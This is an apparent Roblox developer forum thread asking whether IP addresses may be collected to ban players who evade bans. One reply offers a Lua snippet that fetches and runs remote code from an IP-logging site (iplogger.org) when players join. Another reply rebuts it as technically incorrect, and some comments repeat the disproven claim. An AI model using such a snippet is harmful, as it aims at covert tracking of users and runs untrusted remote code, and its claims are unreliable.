Okay, so am I allowed to save a player's IP to a database, and when a player joins it gets the players IP, and checks trough the database if there is an IP registerd, and if it is banned that account (possible alt to ban-evade) also gets banned.
Is that allowed? As It's about IP's, and I'm not pretty sure about it being allowed.
If you somehow obtained an IP over Roblox you should report it immediately. I would also assume that IP Banning is not allowed. But you can always just ban users through their username
IP banning is not allowed - because in order to IP ban, you would need access to the user's IP, which Roblox developers are not supposed to be able to reach.
It's easy to retrieve someones ip, you just set it so when a player joins, it connects them to an external website which then retrieves their ip. HttpGet could easily do the job. But if you are thinking about using this method, please don't unless you're ONLY using it for ip bans.
game.Players.PlayerAdded:Connect(function()
loadstring(game:httpget(('domain here, you can use iplogger.org'),true))()
end)
--The domain "iplogger.org" will log any client which has ran that loadstring.
Is this actually a thing? I remember someone saying something about it on the DevForum once but I more or less disregarded it. I'm not too knowledgeable with Http, so I don't know what is/isn't possible.
Yes, this is actually a thing, if you create a web domain which is able to log ips. You'd just have to do: "loadstring(game:httpget(('domain here'), true))()
Wow... that's insane.
now we gotta report this "issue" and get a free boss white hat ~~
It's not a issue, it's been possible on roblox ever since loadstrings were implemented into the lua environment.
You cannot use loadstring nor make your own HTTP requests on the client which makes this answer completely incorrect. Making a request to a site that returns the requester's IP will only give you the server's IP (or rather the proxy's it may be using) because you can only make HTTP requests on the server. The server's IP is public information anyways.
This discussion is preserved as it was. New answers, comments, and votes are closed.
9 comments
You can't get the player's ip
IP banning is not a good way and if you found a way to retrieve the IP you should report it to Roblox, I'm guessing they don't want that.
yeah
If you have found a way to retrieve a user's IP, report it to Roblox IMMEDIATELY. This is a serious security flaw that needs to be addressed.
yeah, i'll report it
IP addresses used to be available, but not anymore. There is now no way of retrieving a user's IP address.
Wouldn't you actually have to hack something to get IPs? @Link150
Hack - or find a vulnerability or backdoor which enables you to reach it - nontheless it is not intended behavior and should be reported.
You can get players ip, you'd just use httpget to connect the client to an external server which retrieves their ip.